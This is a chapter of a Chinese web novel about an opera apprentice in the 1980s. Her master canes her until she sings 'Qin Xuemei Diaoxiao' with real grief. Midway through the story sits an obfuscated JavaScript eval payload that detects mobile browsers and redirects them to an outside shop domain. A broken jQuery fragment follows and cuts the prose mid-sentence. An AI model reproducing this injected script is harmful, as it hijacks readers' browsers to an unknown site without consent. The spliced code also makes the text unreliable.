文趣网 > 都市小说 > 赐我青玉剑[八零戏曲] > 6. 苦鞭催开花一朵
    入了秋,天气一日凉似一日。

    今越已经跟着焦九斤学了三个月的戏。

    身段台步,水袖眼神,她学得飞快,连向来挑剔的谭金玉都不得不承认,这丫头是块好料子。

    可唯独唱,还是老样子,一开口就能把院子里那头驴吓得直打响鼻。

    焦九斤为此愁得睡不着觉。

    他抽了一袋又一袋的旱烟,把院子里的空气弄得乌烟瘴气的,今越又被熏得睡不着,师徒俩大眼瞪小眼,谁也不比谁好过。

    这天清晨,天刚蒙蒙亮,焦九斤把今越叫到戏台上。

    台上点着一盏煤油灯,灯苗子在晨风中微微晃动。

    焦九斤换了一身干净衣裳,脸色比往日更为凝重。

    他手里拿着一根藤条,站在戏台中央,看着今越,缓缓开口:

    "今儿个,我教你唱《秦雪梅吊孝》。"

    今越愣了一下。

    《秦雪梅吊孝》她听过,那是豫剧的名段,讲的是明朝成化年间,秦雪梅的未婚夫商林被她父亲赶走,相思成疾,一命呜呼。

    秦雪梅不顾父亲反对,披麻戴孝跑到商府灵堂去吊孝,哭得那叫一个肝肠寸断。

    这出戏,常香玉唱过,桑振君唱过,阎立品更是把它唱成了"阎派"的代表作。

    "师父,这戏太难了吧?"今越小声嘀咕,"我连《小燕子》都唱不准,这《秦雪梅》……"

    "难才要学。"焦九斤板着脸,"你身段再好,不上唱,那叫耍杂技,不叫唱戏。今儿个我不要求你唱准调,我只要求你一件事,唱出人味儿来。"

    今越似懂非懂地点了点头。

    焦九斤在台上摆了一张桌子,权当灵案。

    他自己站在台下,手里打着板,给今越起了一个调门:

    "秦——雪——梅——见——夫——灵——悲——声——大——放——"

    这是《秦雪梅吊孝》里最核心的唱段,开头一句"秦雪梅见夫灵悲声大放,哭一声商公子我那短命的夫郎",是整个戏的情绪总闸。

    焦九斤特意选了这一句,就是要试试今越能不能把"悲"字唱出来。

    今越深吸了一口气,按照焦九斤起的调门,开口唱道:

    "秦雪梅见夫灵悲声大放——"

    她唱得很大声,很用力,每一个字都咬得死死的,可那调子……怎么说呢,就像是一只刚学会打鸣的小公鸡,扯着脖子喊,喊得脸都红了,可就是不在调上。

    更可怕的是,她唱得毫无感情,像是在念课文,又像是在背书,干巴巴的,寡淡无味。

    焦九斤的眉头皱成了一个疙瘩。

    "停!"他喊了一声,"你唱的这是什么玩意儿?秦雪梅是去吊孝的,不是去赶集的!你这哪儿是悲声大放?你这是送喜报去了!"

    今越委屈地撇了撇嘴:"师父,我没死过老公,我哪儿知道那是什么感觉……"

    "啪!"藤条抽在戏台的柱子上,发出一声脆响。

    焦九斤瞪着眼睛:"你说的什么混账话!唱戏的哪个真死过老公?唱戏的哪个真上过战场?可人家就能唱得人眼泪汪汪!你这是没用心!你根本就没把自己当成秦雪梅!"

    今越被他一吼,缩了缩脖子,可嘴上还是不服软:"我就是没感觉嘛……我又没经历过这种事……"

    "啪!"这一下藤条抽在了她的小腿上。

    今越"嗷"地一声跳起来,眼泪瞬间飙了出来。

    "再唱!"焦九斤黑着脸。

    今越含着泪,又唱了一遍。

    还是老样子,调子荒腔走板,情绪干巴巴的。她脑子里一边唱一边在想:小腿好疼,师父好凶,今天中午会不会有窝窝头吃……

    她根本就没进入状态。

    "啪!"又是一藤条。

    "再唱!"

    今越又唱。

    "啪!"

    "再唱!"

    "啪!"

    "再唱!!"

    藤条一道一道地抽下来,今越的小腿上很快布满了红痕。

    她咬着牙,眼泪哗哗地往下流,可她就是唱不出那种悲的感觉。

    她心里委屈极了:我又没死过老公,我哪儿知道秦雪梅心里怎么想的?你打我我也唱不出来啊!

    她越想越委屈,越委屈就越唱不好,越唱不好焦九斤就越打,形成了一个可怕的死循环。

    到后来,今越已经哭得上气不接下气了。

    她一边哭一边唱,调子更加乱七八糟,连她自己都听不下去。

    焦九斤也红了眼。

    他这一辈子教过不少徒弟,可从来没遇到过这种嗓子不通的学生。

    身段做功和表情,她样样都是顶尖的,可一开口就完蛋。

    他着急,他上火,他恨铁不成钢。

    他举起藤条,正要再抽下去。

    就在这时,今越忽然抬起了头。

    她那双杏眼里蓄满了泪水,睫毛被泪水打湿了,一缕一缕的。

    她看着焦九斤,看着那张白布灵堂,看着那张破桌子,忽然,她的脑子里闪过了一个画面。

    母亲下葬那天,棺材被缓缓抬起,白幡在风中飘扬,纸钱撒了一路。

    她追着棺材跑,可棺材还是越来越远,最终消失在地平线的尽头。

    她想起母亲生前给她梳头发的样子,母亲给她煮的粥,母亲抱着她哼歌的样子。

    她又想父亲生前穿着中山装上班的样子,想起父亲把她扛在肩头看戏的样子,临终前那双浑浊的眼睛,那间被查封的宅子,那扇再也不会为她打开的门。

    自己这些日子在戏班子里受的委屈,自己半夜偷偷哭湿的枕头,自己再也回不去的家。

    她忽然明白了什么叫"悲"。

    悲不是装出来的,悲是从骨头缝里渗出来的。

    "秦——雪——梅——"

    她开口了。

    这一次,她的声音不大,甚至有些沙哑,还带着浓浓的鼻音。

    可那调子……居然奇迹般地准了。

    不是完全准,但比之前任何一次都准。更重要的是,那声音里有了一种东西,一种说不清道不明的东西,是悲是怨,是恨,是无奈,是撕心裂肺的痛。

    "见夫灵——悲声大放——"

    她的眼泪像断了线的珠子一样往下掉,砸在戏台的木板上,砸出一朵一朵深

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17913480|213230||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    色的小花。

    "扑通"一声跪在了那张破桌子前面,双手扒着桌沿,小小的身子剧烈地颤抖着。

    "哭一声——商公子——我那短命的——夫郎——"

    "夫郎"两个字,她唱得泣不成声,调子拐了无数个弯,可那恰恰是《秦雪梅吊孝》里最动人心魄的唱法——滚白,专用于悲伤剧情,唱出泣不成声的状况。

    她不知道这是什么板式,她只知道,她此刻就是秦雪梅,秦雪梅就是她。

    她们都是失去了挚爱的人,她们都在灵堂前哭得撕心裂肺。

    唱到这里,今越已经哭得几乎唱不下去了。

    她的嗓子哽咽着,每一个字都是从胸腔最深处挤出来的,带着血带着泪带着撕心裂肺的痛。

    她不是今越了,她是秦雪梅,她是那个披麻戴孝,奔赴灵堂的秦雪梅,她是那个失去了一切的秦雪梅。

    戏台下面,不知道什么时候,已经站满了人。

    谭金玉站在最前面,双手抱在胸前,脸上的表情早已不知去向,取而代之的是一种深深的震撼。

    她张着嘴,瞪着眼,一动不动地看着台上那个哭成泪人的小姑娘。

    小林和大牛站在角落里,两个大男人,眼睛都红了。

    刘嫂用围裙捂着嘴,肩膀一耸一耸的,无声地哭着。

    焦九斤站在台下,手里的藤条垂了下去。他浑浊的老眼里,也蓄满了泪水。

    他看着台上那个小小的身影,看着她哭得撕心裂肺的样子,想起了自己的儿子,焦大柱,那个老实巴交的孩子,几年前得急病走的,走的时候才二十五岁。

    儿媳妇谭金玉进门那天,穿着大红的嫁衣,笑得那么好看却成了寡妇。

    自己这一辈子,为了这一出出戏,为了这个戏班子,付出了多少心血,可到头来,戏班子还是要散了。

    又何尝不悲呢……

    今越唱到最后一句"至如今这景象完全两样,我盼望的花堂成了灵堂"的时候,声音已经完全哽咽了,几乎是泣不成声地说出来的。

    她趴在"灵案"上,嚎啕大哭。

    整个院子安静得可怕,只有今越的哭声在回荡。

    过了很久很久,焦九斤走上台,伸出那双粗糙的手,轻轻地按在了今越的肩膀上。

    "丫头,"他的声音有些沙哑,"你开窍了。"

    今越抬起头,泪眼模糊地看着他,抽抽搭搭地问:"师父……我……我唱得……还跑调吗……"

    焦九斤的眼泪终于掉了下来。他用力按了按她的肩膀,说:"跑调。跑得厉害。"

    今越的嘴一瘪,又要哭。

    焦九斤接着说:"可你唱到人心里去了。"

    谭金玉在台下,默默地转过身,走进了屋里。

    可所有人都看见,她抬起袖子,擦了一下眼角。

    从那天起,今越终于明白了一件事——唱戏,唱的不是调子,是命。

    她把自己的命,揉碎了,揉进了戏里。

    而焦九斤,也终于在这天夜里,在灯下给远在天堂的儿子写了一封信。信上只有一句话:

    "大柱,爹收了个好徒弟。爹死后,戏班子有主了。"